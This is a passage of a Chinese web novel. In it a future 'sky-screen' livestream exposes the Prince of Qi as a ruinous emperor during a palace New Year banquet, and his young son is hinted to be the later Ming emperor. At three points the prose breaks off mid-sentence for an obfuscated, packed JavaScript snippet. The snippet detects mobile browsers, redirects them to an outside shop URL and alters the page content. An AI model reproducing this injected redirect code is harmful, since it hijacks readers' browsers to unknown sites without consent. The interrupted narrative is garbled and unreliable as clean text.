“父王千万别丢了爵位啊!”薛澄顿时双手合十祈祷起来,又觉得这愿望难度太大,忙换了一个,“皇祖父大人有大量,千万莫要牵连无辜!父王他一人做事一人当,我们兄弟可是清清白白,安分守己……” 他嘀嘀咕咕,各路神仙都拜了一遍。 薛挽月的字彻底练不下去了。 他板起带着婴儿肥的脸,像个小大人似的叹了口气。时不时的他总感觉薛澄才是弟弟。 “皇祖父素来是非分明。除非来日二哥也教天幕揭露劣迹,否则大可不必杞人忧天。” 他这番安慰却没能让薛澄神情转好。 “那不是完了吗?”薛澄对自己毫无信心,他指了指自己,故意摆出一副恶形恶状,“你看你二哥我像是能长成宗室栋梁吗?纨绔恶霸还大差不差!” “是是是。”薛挽月随口附和,看他的目光却像是兄长在看幼稚幻想的弟弟,透着莫名的“慈爱”,“……所以你是想欺男霸女,还是草菅人命?” 薛澄被他的眼神看得浑身不对劲。 “这、纨绔恶霸也不是非要欺男霸女、草菅人命罢,这不是欺软怕硬?”他想了想,撇嘴道,“我看薛泽那小子倒是有几分潜质。” 不说别的,薛泽七岁了还喜欢“骑大马”,让内侍婢女跪在地上背着他膝行来去,哪怕手掌磨得破皮流血。且身边人伺候的稍不如意就喊打喊杀,小小年纪颇为霸道。 薛挽月扬眉一笑:“二哥说的是。” 他就知道薛澄只是嘴上说说而已。 要说兄弟四人中谁最正直,非薛澄莫属。 虽小错不断、调皮捣蛋,却不曾触及原则,对身边的下人也颇为亲厚,且豪爽大度,是个不记仇的好性子。 当初险些被异世之魂夺舍,从其记忆中见到太多超越时代的事物,受到另一个世界数千年历史沧桑启迪,一夜之间,心智被迫成熟,薛挽月很是迷茫混乱了一阵子。 原本熟读圣贤之书且颇有天赋的他,受到另一段记忆的影响,不禁生出“圣贤之书无用”的念头,渐渐怠于课业,一门心思钻研“奇技淫巧”…… 尤其是继承自异世之魂的手工技巧,薛挽月起初只是在情绪低落之时一试,让自己忙起来别想太多,渐渐却开始乐在其中。 他的转变理所当然被旁人视作深陷丧母之痛走不出来,乃至自甘堕落。 教书的西席恨铁不成钢,但训他几句也就罢了。齐王对一尸两命的小妾都不管不顾,何况是没有感情的庶子?长兄薛温倒是关心了他几句。只有薛澄,但凡有空便往他院子里跑,陪他说话,逗他开心…… 从前并不亲密的兄弟二人就是在这两年间熟络起来的。 得到弟弟赞同的薛澄翘起了嘴角。 他嘿嘿一笑:“三弟你也觉得我说的在理罢?咱们府上也就三弟是个明白人。大哥倒是爱读书,孝悌之道挂在嘴上,也没见他多照顾弟弟,光说不练。老四更不用说,小小年纪就是个恶霸胚子。那文心姑娘言道明帝是父王所出,要不是知道我自个儿几斤几两,我都怀疑是不是在说我了?看老大老四的德性就不像是有本事的人,难不成我那明帝弟弟还没投胎?” 他自动忽略了薛挽月这个“候选人”。 他对这个弟弟早已形成不务正业、闲散度日的刻板印象。很难将之与力挽狂澜、一统天下的雄主联系在一起。 薛澄越说越觉得自己的猜想靠谱,他情不自禁一拍巴掌,仿佛发现了真相:“我就说,凭皇祖父那暴脾气,怎么只是把父王关起来反省,连板子都没舍得打一下……敢情是怕打坏了,耽误明帝弟弟投胎!” “……” 薛挽月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905998|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张了张嘴,竟无言以对。 偏偏薛澄眼巴巴看着他,似乎在等待他的认同。 薛挽月只好点头:“……二哥言之有理。” · 薛澄心满意足地走了,顺便蹭了弟弟一顿夜宵。 薛挽月一个人在院子里来回消食。 入宫月余,他的生活堪称平淡,薛澄时不时溜过来叙话,大概便是一天中最轻松的时光。 他不用费心思量薛澄是否话里有话,无需运转大脑分析对方心口不一,意欲何为,只要竖起耳朵,乖乖当一个树洞就够了。 当然,少说多听依旧是首要原则。 他已经习惯了将自己的念头藏在心里,不是不能与薛澄分享,而是隔墙有耳。 身处深宫,遍地耳目,薛挽月毫不怀疑,他们这些皇孙,哪怕每天夜里说了几句梦话,皇宫的主人都能知道得明明白白。 今日薛澄与他说的每一个字,只要天子愿意,便会出现在御案之上。 事实正如薛挽月所想。 未央宫。 批阅完今日奏疏的永隆帝问起一众皇孙的表现,尤其是重点关注的齐王诸子。 这些日子宫中并不平静。 由于父辈间的矛盾,秦王二子与晋王二子从口角冲突演变到斗殴,虽然两边人数相当,但晋王之子年长,打起来更有优势。 若非吴王府五位公子一拥而上,及时制止了他们,事情还会闹得更大。 梁王无子。 陈王唯一的儿子薛澈年方六岁,本来站在一边看热闹,结果险些被飞来的靴子波及,还好薛挽月及时出手拉了他一把。 至于入宫以来几乎被孤立的齐王四子…… 薛温每日勤学苦练,就差头悬梁锥刺股,冲突爆发时,他手足无措,还试图劝架,结果却被轻飘飘踹到一边,差点没当场昏过去,体验了一把当初齐王劝架的待遇。 而薛澄在边上摩拳擦掌,跃跃欲试,看上去很想加入其中,大展身手。于是薛挽月不得不左手拉住他,右手牵住年幼的陈王之子薛澈,颇有上街牵狗不让乱跑的即视感。 最后是薛泽。 这起冲突就是他引发的。 别看他小小年纪,偏偏童言无忌,戳人痛处,三两下就激起两位堂兄之间的矛盾。 事发之后,永隆帝第一时间便对来龙去脉了如指掌。 此外,诸皇孙私下里的举止也时常有人向他禀报。譬如今日,永隆帝便从内侍的转述中一字不漏听完薛澄兄弟二人的对话。 “王成,你怎么看待老五府上这几个孩子?”他似乎随口一问。 心腹太监王成当即垂手道:“奴婢斗胆妄言:温公子勤学守礼,有君子之风;澄公子秉性率直,有任侠之气;湛公子淡泊持重,少年老成;泽公子天资聪颖,伶俐过人……依奴婢浅见,几位皇孙皆是人中龙凤,” “哈哈哈,你啊!” 永隆帝大笑。 他站起身来,在殿中踱了几步。 心中自然而然浮现出有关齐王府的种种情况。尤其是秘报中那个自幼好学聪颖、过目不忘,却又在丧母之后开始不务正业、自甘堕落的孙子…… “从前齐王也被称赞有君子之风。”王成吓得跪地请罪,永隆帝摆摆手,语气淡淡,“这几个小子,一个迂腐,一个天真,一个愚蠢,还有一个……倒是深藏不露。” 8.宫宴 天幕再次亮起时,是永隆二年的正旦日。 朝贺毕,天子大宴群臣。晚间时分,天子又于宫中设宴,诸王宗亲赫然在列。 值此佳节,被禁足的齐王薛璟亦有幸出席,三个月来头一次踏出信安宫。 此番宫宴并非国宴,更近似于家宴,诸王皆携正妃出席,四位公主也带着各自的驸马就坐。小一辈们则另外设席坐在一起,永隆帝打眼望去,孙儿外孙加起来便有乌泱泱三十来人,好一番枝繁叶茂的景象。 丝竹虽依旧,笑语却稀疏。相较往年的言笑晏晏,今年的宫宴气氛略有几分古怪。 从前齐王总是兄弟姐妹中最能调动气氛的那一个,他上敬兄姐,下友弟妹,就连驸马们也对他印象极好,即便看不惯他这副做派的秦王,在新年这样的大日子也会给他一个面子,一大家子总是热热闹闹的。 今日的薛璟却没有这份活跃气氛的心思。 置身众人视线之下的他,只感受到无处不在的审视,宛如即将被宣读罪状的囚犯,莫大的愤怒与耻辱令他的身体微微发颤。 “大王……” 身旁的齐王妃担忧地唤了一声,盈盈秋水般的眸子投向他。 过去的三个月于齐王妃而言何尝不是煎熬? 齐王与四位公子一去不复回,真假难辨的传言漫天飞舞。齐王妃在府中坐立不安。 后者也就罢了,只名义上是她的儿子而已。齐王却不同。二人是少年夫妻,成亲以来恩爱有加,从不曾拌过嘴、红过脸。 哪怕天幕言之凿凿,齐王妃总是不愿相信她心目中才华品貌俱佳的夫君将会与青史之上的昏君并列,乃至受尽唾弃。 她更愿意相信过去多年的亲眼所见。 然而,她入宫求情,天子不曾见她。 她上书请求随夫受罚,天子亦不允。 直到官居廷尉的父亲递来口信,教她老老实实在齐王府中闭门祈福,齐王妃这才停了无用功,三个月来却免不了担惊受怕。 今日见齐王憔悴如斯,比入宫前瘦了一圈,齐王妃顿时满目心疼。 迎着她怜惜的目光,薛璟心头微微一动。 他自知处境艰难,能借一分力总是好的。岳丈李逸山深得天子信任,奈何太过铁面无情,但凡李逸山愿意替他张目…… 这样想着,薛璟朝妻子扯出一抹温柔又愧疚的笑容,声音还透着几分哑:“本王无碍,只是略有些没睡好。这些日子,累容娘受惊了。” 薛璟的容貌是兄弟中最出挑的,清减下来更显忧郁。这一笑,李容三分的心疼化作了九分,更是替自家夫君委屈起来,暗自决心不能看着他为不知真假的罪名背锅。 就算、就算夫君真的败了家,这不是还没发生吗? 李容心虚一瞬,便说服了自己。 不行,出宫后她就去求父亲帮忙! 新一期的天幕就是在此时出现的。 【朋友们又见面了,我是你们的史盲主播文心!】 熟悉的女声,熟悉的开场白。 上首正打算发言的永隆帝默默闭了麦。 薛挽月随大流地停箸,抬头。 ……然后瞳孔微微一颤。 绯红的云霞被亮澄澄的白光排开,黄昏顿时亮如黎明。 无数王侯将相、贩夫走卒的身影从天幕中流淌而过,仿佛历史长河突然化作实质。 河水翻涌定格,凝为七个大字。 ——《影帝上位那些事》 【接着上一期的话题,咱们这一期就来聊聊《影帝上位那些事》。】 【说到齐王薛璟,大家的第一印象是什么?不是夏幽帝薛璟,是齐王薛璟哦。】 几条弹幕突然在天幕上划过。 [美姿仪,擅音乐] [宠妻灭妾,礼贤下士] [兄弟中最人模人样的] [每与兄反,事乃可成] 天幕之下,有人发出惊呼。 “快看快看,弹幕又出现了!” 他们早已从文心姑娘口中知晓这些弹幕是后世之人在发言。往期直播中也有两期出现过弹幕,只是时有时无,摸不透规律。 “后世子孙说话还怪有意思的……” “宠妻灭妾?某只听闻宠妾灭妻之说。妻者齐也,妾通买卖,这宠妻灭妾……作何解?” 有人不禁发出不解的疑问。 外人看热闹不嫌事大,当事人薛璟却是如坐针毡。 秦王与晋王这一对水火不容的老冤家自从得悉“双嗄”的结局,一下子成了难兄难弟,倒是将从前针锋相对的火力尽数倾泻到了薛璟身上。 天幕上每划过一条弹幕,两人便大声念一遍,你一句我一句,跟接龙似的。 陈王听到“美姿仪,擅音乐”,不禁暗暗点头:“别的不说,五哥确实长得好……嗯,不是,怎么我们几兄弟就不算是人模人样的?” 他忍不住发出抗议。 席间众人的目光下意识在六兄弟身上一一扫过,包括永隆帝在内。 而后,他们不得不承认这条弹幕很权威。 齐王的容貌的确是独一档的。 至于那句“每与兄反,事乃可成”,字面意思直白到不需要二次解读,排在齐王前面的秦王、晋王、吴王,或捏拳,或冷笑,或震惊不语。 随着弹幕消失,一袭不伦不类宫装打扮的女郎在天幕上显露出来。她笑着将几条点赞量高的热门弹幕读了一遍,神情欢快地连连点头。 【嗯嗯嗯,大家说的都没毛病!】 【先来说点赞量最高的热门评价:“每与兄反,事乃可成。”】 【——这句话的出处是《通鉴》,一部经典的编年体史书,也是正史中相对不保真的一本。】 【众所周知,《通鉴》里最多的就是各种细节丰富、真假难辨的小故事,尤其是有些故事,作者活像是趴在床底下,见证了“案发经过”一样。】 薛璟听到这里眼前一亮,恨不得拿只大喇叭,在每个人耳边大喊三遍:听到没有?听到没有?她说了不保真,不保真啊!这定是造谣! 天幕上的女郎却仿佛偏要与他对着干。 【别的故事保不保真我不知道,夏幽帝这段小故事肯定保真。毕竟人物形象太贴合大家对历史人物的印象了,一看就是他们会说的话。】 薛璟:“???” 妖女!妖女!妖言惑众啊!! 他的脸色以肉眼可见的速度扭曲了一下。 转瞬间从极度的狂喜到极度的愤怒,这个表情变化被一直默默审视他的众人尽收眼底。 始终默默观察学习的薛挽月微微摇头。 看来父王的演技还不够炉火纯青啊…… 【确切的说这是一段对话。】 【对话的时间,是夏太祖临终发下遗诏,齐王薛璟终于被确立为继承人。地点是齐王府。人物则是薛璟和他的小狗腿陆令先——想必这个名字大家都很熟悉,大夏名臣之一,“佞于幽帝而忠于明帝”嘛。】 陆令先? 众人对这个陌生的名字并无印象。 薛璟脸色难看:“此人是齐王府门客。” 他并没有心腹被迫曝光的心痛,妖女都说得明明白白了,“佞于幽帝而忠于明帝”——什么心腹,首鼠两端的叛臣罢了! “此人出身幽州,儿臣看他仪表堂堂,气度不俗,顾念几分同乡之谊,才将人收在麾下。”薛璟大有将陆令先的老底交代明白的意思,顺便试图甩锅,“哪知他平素只会溜须拍马,舌灿莲花,还常常挑拨我父子兄弟之情。父皇,儿臣定是受了他的蛊惑——” 在永隆帝冰冷的注视中,薛璟闭了嘴。 其他人更是对他这一套说辞左耳进右耳出。 盖因众人的目光皆已被天幕上浮现的一行行文字吸引过去。 普通百姓看不懂《通鉴》原文,幸而还有一个贴心的翻译: 【这段对话是什么意思呢?】 【大概就是薛璟终于得到心念已久的储君之位,高兴得得意忘形。志得意满的他回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934488|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐王府,对几个心腹假惺惺地感慨:我既不是中宫嫡出,也不是最年长的皇子,想不到父皇竟然越过兄长传位给我,这可真是令我受宠若惊啊,世上真有天命吗?】 【当时有三个人在场,甲当然是吹捧薛璟天命加身,乙则是贬低了吴王一通,说大王你也就是吃了序齿的亏,如果大王你是兄长,吴王是弟弟,储君之位早就定了,就那不争气的吴王,哪能和大王你比啊?】 不争气的吴王薛瑜:“?” 吴王脸黑如墨。再怎么心胸宽广的人,也经不起被人这样拉踩呀。 老好人难得阴阳怪气:“是,是,怪我生得太早了些,又活得太久了些。若是跟二哥三哥一样嘎了,不就给五弟腾出位子了吗?” 尽管主播没有提到乙的姓名,但天幕贴出的《通鉴》原文段落上是有的,吴王狠狠盯了这人的名字几眼,默默记在心底。 说归说,别误伤啊…… 秦王与晋王顿时不约而同戴上痛苦面具。他们现在听不得“嘎了”这个词,总担心哪天一觉睡下就再也醒不过来了。 【最后就是唯一让后人记住姓名的陆令先。】 【他在乙的基础上来了一段大升级,平等拉踩齐王的三个哥哥。】 【先是秦王,陆令先说这人虽然打仗勇猛,但冲动鲁莽、不听人言;大王你却是礼贤下士、三思而后行,因此贤名远播,深得民心。】 【再是晋王,陆令先说这人虽然有点智计,但好酒无状,不识礼数,而且一喝醉就把脑子丢到了哇爪国,十天里有七天都是没脑子的状态;大王你却是克己守礼,处事先公而后私,故而深得陛下喜爱。】 【然后是吴王,陆令先说这人既贪花好色,又无识人之明,不管是前院、后院,那是来者不拒,结果居然闹出“滥竽充数”和“后院起火”的笑话。】 【反观大王你呢,那叫一个英明神武!无论宾客还是妻妾,都根据自己的身份高低得到应有的待遇,没人能凭大王的宠爱而乱了体统。所以才有我们这么多仁人志士忠心耿耿追随大王你啊!】 【说到这里主播都佩服了,瞧瞧人家这说话的水平,把薛璟夸上天的同时还不忘给自己刷一波好感,能不讨领导喜欢吗?】 【朋友们,都学会了没有?】 天幕下许多人都不由自主点头,答“学会了”。 也有小孩子前脚才响亮地应了一声,后脚就被亲爹一巴掌拍在脑门上:“学什么学?巧言令色,阿谀奉承,这都是歪门邪道,不许学!” 与此同时,薛挽月默默点头。 倒不是学会了,而是将陆令先这个名字记在了心里。 会说话也是一门艺术,这么会说话的人,至少放在外交领域应该能做出一番成就罢? 不同于薛澄将怀疑对象指向未出生的弟弟,当薛挽月得知夏明帝出自齐王府这一脉,他就怀疑这个人可能是自己,尽管目前并无证据。 在这一点上,他与薛璟难得“父子同心”,有着同样的自信:遍观兄弟,那个脱颖而出、有能力担起社稷之重的人,不是自己还能是谁? 伴随“砰”的一声响,薛挽月的思路被打断。 他抬头看去,齐王已经被按翻在地。 出手的正是秦王。 晋王紧随其后,骑在他身上左右输出。 吴王在边上浑水摸鱼地踹了两脚。 其他兄弟姐妹假惺惺地喊着“不要打了,你们不要打了”,脚下却未曾挪动半步。 薛挽月跟着薛澄替受苦受难的齐王声援了两声。 至于像薛温那样冲上去“救父”?尽管他如今的演技大可扮演孝子,博得美名,但就他这小胳小腿,还是算了罢。 何况演的再像,总会被天幕拆穿的。 薛挽月默默仰头望天。 【陆令先一通有理有据的对比,把薛璟夸得心花怒放。】 【他来了个神总结:是这样没错,纵观本王一路走来的秘诀,可以归纳为八个字。】 【每与兄反,事乃可成!】 9.神棍 新年的第一天往往也是最热闹的时候。 寺庙道观香火鼎盛,上香祈福者从早到晚不见停歇。庙会、集市更是红红火火,直到太阳落山,聚拢的人潮才渐渐散去。 而天幕就是在这个时间点降临的。 寺庙、道观、庙会、集市,乃至乡间的小路上,人们的脚步第一时间停了下来,下意识仰起脑袋,睁大眼睛,竖起耳朵。 某处远离大夏都城的小镇,集市一角的算命摊位前,白须白眉、打扮格调十足的算命先生在天幕亮起的瞬间就愣在了原地。 摊位前的新婚小夫妻喊了他两声:“道长,道长!” 回过神来的算命先生二话不说便将刚收到的卦钱退回去:“天机紊乱,已不宜占卜。不过贫道观贤伉俪面相,必能夫妻和睦,子孙满堂。” 一通吉祥话将高高兴兴的小夫妻俩送走,算命先生再抬头看向天幕时,神情已变得凝重起来。 他幽幽叹了一口气,说不出的惆怅。 “唉,这都是什么事啊……” 三个月前,他还是齐王府上一介混吃等死的幕僚。日常工作轻松,也就是从各个角度发现齐王殿下的优点,适时吹捧而已。 一言以蔽之,想方设法逢迎齐王。 即使天幕现世,开始不顾当事人反对,曝光他们这些“古人”的隐私,他也无所畏惧。 反正他只是齐王府上一介不起眼的小小慕僚,职业规划就是靠着讨好齐王混几分富贵,便是天机泄露也不至于危及他。 这样的局面直到三个月前突然被打破。 他选定的“金主”齐王居然被曝光正是一举败坏大夏基业的夏幽帝?! 当时他人在齐王府,整个人都傻了。 回过神来的第一反应就是收拾细软,赶紧跑路。 临走前他还不忘编了个老父病重的借口留书一封,算是留有余地,别把路堵死了。 至于突然被病重的老父?从小就和母亲一起被赶出家门的儿子,只是编造他病重,而不是编造他病死,已经够孝顺了…… 之后发生的事验证了他的猜测。 多方打听,得知齐王与诸子一去不回,齐王妃更是在王府闭门思过,他不由庆幸自己跑得够快,否则险些被齐王给连累了! 心思谨慎的他索性开始扮作道人模样,一路朝着远离都城的山野之地而行。 毕竟随时可能出现的天幕宛如随时可能落在头顶的铡刀,一旦哪天爆出夏幽帝的种种劣迹,而他又不幸在其中占据“戏份”…… 后面的结果他不敢再想。 三个月来,他几乎每日睡前都在祈祷,祈祷齐王登基后别重用他,越边缘化越好,最好是史书之上查无其名。 遗憾的是,他对自己逢迎媚上的能力颇有信心,怎么想都不觉得齐王有抵御他这份本事的铁石心肠。 总之,未雨绸缪,隐藏形迹才是上策。 于是乎,就有了这三个月的东躲西藏。 抱着自己说不定史书无名的希望,在心里祈祷天上这位姑奶奶千万别提到自己的姓名,就算要提也是越晚越好,一身仙风道骨卖相的陆令先习惯性地念了一声“无量天尊”,话音还未落,整个人便石化了。 他听见自己的名字从天上轻飘飘落下,却如泰山压顶,简直要将他这副小身板碾碎。而他的头衔,居然是“薛璟的小狗腿”…… ‘姑奶奶求求你别说了,给人留条活路罢!陆某发誓日后一定行正道做好事,再不走歪门邪道了……’ 欲哭无泪的陆令先在心中就差跪下了。 下一刻,又一段关键词轻飘飘落下来。 ——大夏名臣之一? ——佞于幽帝而忠于明帝? ——我可以,我可以!我真的可以! 大落大起不过如此,陆令先激动地从地上一跃而起。 他腿也不软了,手也不抖了,嘴角一下子咧得老高:“哈哈哈哈!哈哈哈哈!” 谁说这天幕剧透只会乱套的,这剧透可太好了! 手舞足蹈之间,他雪白的假道髻歪了,长长的白胡子也脱落了一半。 见状,路过的小孩发出好奇的呼声:“阿爹阿爹,你看这个道士爷爷……” 陆令先:? 陆令先:! 之后就是一段鸡飞狗跳的闹剧了。 次日。再次出门逛街的新婚小夫妻听人说起在这里摆摊算命的老神仙居然是个神棍,不禁愕然。 庆幸之余,他们忍不住问:“那后来呢?” “后来……” 说话的人目露惊奇之色。 “那人束手就擒,说、说他就是陆令先。” · 心腹被官差铐走时,薛璟正在挨打。 永隆帝大概也看不下去这闹哄哄的景象,终于示意执勤的侍卫将几个儿子拉开。转头就听见主播转述史书上薛璟总结的八个大字。 想到此时天下人都在看着,永隆帝深觉丢脸。 他粗暴地将几个儿子喝骂一顿,全然没有在朝臣面前的体面深沉:“丢人丢到后世去了,赶紧给朕滚回自个的位子上去!” 不管动手的还是看热闹的都忙不迭撤了。 尽管重新就座,众人仍旧忍不住频频看向鼻青脸肿、被齐王妃搀扶着坐下的薛璟。 尤其是方才动手的三员主力。 “啧,每与兄反,事乃可成。” 此乃似笑非笑的晋王。 “难为五弟你成天对我们笑脸相迎,原来心里是这么想的……” 此乃踟蹰半晌也没能说出什么重话、憋憋屈屈的吴王。 “咱爹都只有一本错题本,五弟你有三本,你不出息谁出息?” 此乃不惜扯出亲爹,甚至自领错题本身份,伤敌一千,自损一千二的秦王。 错题本这个词还是他跟后世之人学的。 天幕第一期直播曾涉及永隆帝的发家史,讲他从一介小卒开始起步,逐渐成为边疆大吏的副手,又在其败亡之后接替上位。 其中便有一则弹幕提到,永隆帝一直拿前上司当作错题本来参考。对方不恤小卒、轻视文士,只会倚仗暴力,永隆帝却总结其败亡经验,处处反着来,故能成今日之势。 薛璟深深埋着头,一言不发。 他知道此刻说什么都是错的。 倘若说之前他还抱有几分挣扎的念头,现在这念头便越来越淡。 薛璟向来擅长察言观色、揣摩人心,从今日之事他已看出永隆帝的态度。 他心头不由生出十分的怨愤。 分明是秦王、晋王、吴王三人,表现不堪为王,他见不贤而自省,反其道而行,最后遭受责问的反而是他,父皇何其不公也! 既然永隆帝的心已经彻底偏了,认定他是罪人,薛璟索性放弃了无用的辩解。心中郁积的憋屈与怒火让他的脸色沉黑一片。 齐王妃李容悄悄扯了扯他的袖子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949870|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次迎上王妃担忧的目光,这一回薛璟却没心情安抚她了。他不耐烦地一抽手,一蹙眉,某种不加掩饰的冷漠便散发出来。 李容一呆,像是被针刺一般缩回了手。担心旁人发现她刚才好似“打情骂俏”的小动作,她赶紧正襟危坐,不敢再多言一句。 夫妻俩顿时仿佛成了两尊人偶。 当事人只想赶紧结束这尴尬的宴会,却听兴致勃勃的女声讲起齐王如何“美姿仪,擅音乐”。 【话说按《夏史》记载,薛璟生母魏夫人是歌女出身,夏太祖参加同僚举办的宴会时,被她一舞惊艳,同僚见状就将人送给了夏太祖。之后没过多久她就怀孕了,一朝诞下薛璟,夏太祖登基后,她又晋封为夫人。】 【对比夏太祖的其他后妃,秦王之母王夫人是丧夫的民妇,小有姿色;晋王之母则是武将之女,史书只记载这位陈夫人颇有胆识,武艺不俗。容貌完全没有描述;陈王和梁王的母亲都只是普通美人。总之,只有魏夫人一人,是被史官写明了的大美人啊!而且还是色艺双绝,让人一见倾心的大美人……】 【薛璟无疑遗传了魏夫人的相貌与才华,尤善古琴。当时的文人笔记中就提到他凭借一曲《凤求凰》打动了齐王妃的芳心……】 正襟危坐的李容听到这里目露追忆。 当初她就是被齐王的相貌与才华所吸引,才在齐王上门提亲时极力说服父亲同意。 尽管婚后始终无子让她品尝了一番焦心的滋味,但李容一直以为妯娌之中就属她嫁得最好——只凭齐王这张脸,她就半点不亏。何况齐王温柔体贴,又才华横溢。 这毫无疑问得归功于魏夫人。 婚后入宫见到魏夫人,她就惊呆了。 史书上记载的美人不过如此罢? 且魏夫人所拥有的不仅是美貌,传说中其双绝的歌舞李容不曾亲见,却见过魏夫人的画,若以她个人浅见,不输当世大家。 因此,别的儿媳或许不喜与婆婆相处,齐王妃却是个例外。她只恨不能日日入宫,在魏夫人身边端茶递水,随时请教。 美貌与才华并存的婆婆,于齐王妃李容而言,无疑是与有荣焉。 薛璟却不这么想。 他从来自视甚高,自翊能力远胜诸兄弟,惟独输在序齿靠后,以及出身不够高贵。 其他兄弟的生母身份再低,也是出身清白的民妇,惟有他是歌女之子。但凡他有更高贵的出身,储君之位早已是囊中之物。 此时听主播提及魏夫人的歌女出身,薛璟猛然生出一股被羞辱的怒火,再看边上的王妃不知在傻乐什么,他顿时更憋屈了。 [幽帝的美貌我是相信的。宫主可是被画圣盖章的“烨然若神人”,亲爹能差到哪去!] [幽帝的崽都是俊男美女,但宫主是兄弟姐妹中最出挑的,可想而知亲妈基因有多好!] 随着突如其来划过的弹幕,众人的目光纷纷朝同一个方向落去。 “兄弟姐妹中最出挑的”……这个关键词太有辨识度了,几乎是第一时间就帮大家锁定了最有可能是夏明帝的“嫌疑人”。 骤然被聚焦的薛挽月:“……” 他像是还没反应过来似的,茫然眨巴了一下眼睛。 月光倾洒,宫灯摇曳,令他的睫毛在瓷一般白的脸上落下根根分明的投影,小小少年眉目宛然,仿佛与众人不在一个图层。 众人下意识想到:这画圣是谁,居然不曾溜须拍马,夸大其词! 10.亲亲 感受着一道道灼热、探究、不可置信的目光,薛挽月只露出一丝恰到好处的茫然。配上他犹带婴儿肥的稚嫩脸庞,说服力十足。 秦王等人卡在嗓子里的质问憋了回去。 问什么呢?别管未来有多厉害,一个当下不满十岁的小孩,要他们怎么质问? 他们这些又高又壮的叔伯往小孩身前一杵,怎么看都像是欺负侄子罢! 仔细想想,他们只是不服齐王居然靠着捡漏与伪装成为夺嫡之争的胜利者,偏偏胜利之后还不珍惜这份家业。对明帝这个未来力挽狂澜的大侄子其实并无什么恶感。 倒是薛挽月长得好,看起来又弱不禁风,要他们一下子将这个似乎风一吹就倒的小豆丁与一统天下的雄主划等号,着实有些难以接受……不会是他们找错人了罢? 永隆帝忍不住深深看了薛挽月一眼。 ……小小年纪就懂得示人以弱,难得。 场面就这样诡异地寂静下来。 薛澄却在这时突然起身,挡住了众人投向薛挽月的视线。 “画圣和后人的审美肯定有问题!”他大声开口,却充斥着一股欲盖弥彰的味道,“……昏君不都是想宠哪个女人就宠哪个女人,想立哪个儿子就立哪个儿子吗?咱们兄弟之中,父王最喜欢的就是四弟,不选他选谁?四弟哪里最出挑了?我看明帝多半是王妃肚子里生出来的弟弟!” 薛澄越说越快,越说越坚定,起初还有几分撒谎的不自然,渐渐却理直气壮起来。 “?” 被儿子盖章昏君的齐王薛璟打出问号。 老四薛泽听得眼神发亮,居然信以为真。他忍不住开口反驳:“画圣的审美哪里有问题?”他不就是兄弟中最出挑的吗? 其他人:“……” 真是一个敢说,一个敢信! 薛挽月赶紧拉了拉薛澄,示意后者坐下:“二哥别激动。有天幕在,迟早揭晓答案。” 薛澄当然也知道这一点。只是他不喜欢其他人看向三弟的眼神,也不希望三弟小小年纪就这样站在风口浪尖…… 于是他下意识便站起来胡说八道。 冷不丁被薛挽月一拉,薛澄坐下之后才惊觉自己出了一身冷汗。 他不禁喃喃道:“我也太勇了……” 他刚才是怎么敢当众大放厥词的啊? 手掌被人安抚性地拍了拍,薛澄顺着那只手向上看,便对上一双透如琉璃的眼睛。 这双眼睛里没有惊慌、不安,或兴奋,只有令人安心的平静。 薛挽月此时的心情的确十分平静。 身为皇子皇孙,不能说对御座没有一丝念想。只是从前的薛挽月压根没想过自己能和这个位置沾上关系。 以他的辈分和年纪,连上场夺嫡的资格都没有。在此之前,得先指望齐王成为上一轮的胜利者。 指望齐王战胜兄弟脱颖而出?拉倒吧! 是的,薛挽月对亲爹不抱有丝毫信心。 毕竟他一个小孩都能透过齐王的假面看穿其刚愎自用、眼高手低、虚伪好色、刻薄寡恩的本质,永隆帝堂堂天子,总不能眼力还不如他罢? 要他选,他宁愿选吴王。 这位四王叔在他看来算是低配版齐桓公,耳根子软,换个角度不就是听劝吗? 但凡配上几个有能力又忠心的辅政大臣,成绩总不会太差。而永隆帝能从一介白身闯下如今偌大基业,身边最不缺的就是人才。 只要这位皇祖父别在乎什么君弱臣强的格局,大可在离世时给吴王配上一整个辅政天团,直接开启“垂拱而治”。 反正夏国国力遥遥领先,但凡当朝君臣不乱来,耗上十年二十年,一统天下指日可待。 没想到天幕却给了薛挽月一个惊吓。 未来永隆帝竟然眼瘸选中了齐王。 这一度打破了薛挽月心中对皇祖父英明神武的滤镜。 既然历史上的齐王出乎意料成为上一轮权力游戏的胜利者,薛挽月自然也就变相获得了新一轮权力游戏的门票。 他没理由怀疑自己会输。 ……也不认为自己会弃权。 因此,当全场目光聚焦在他身上时,薛挽月并无多少意外,只有一种“终于来了”的恍然感。更多的则是对未来走向的好奇。 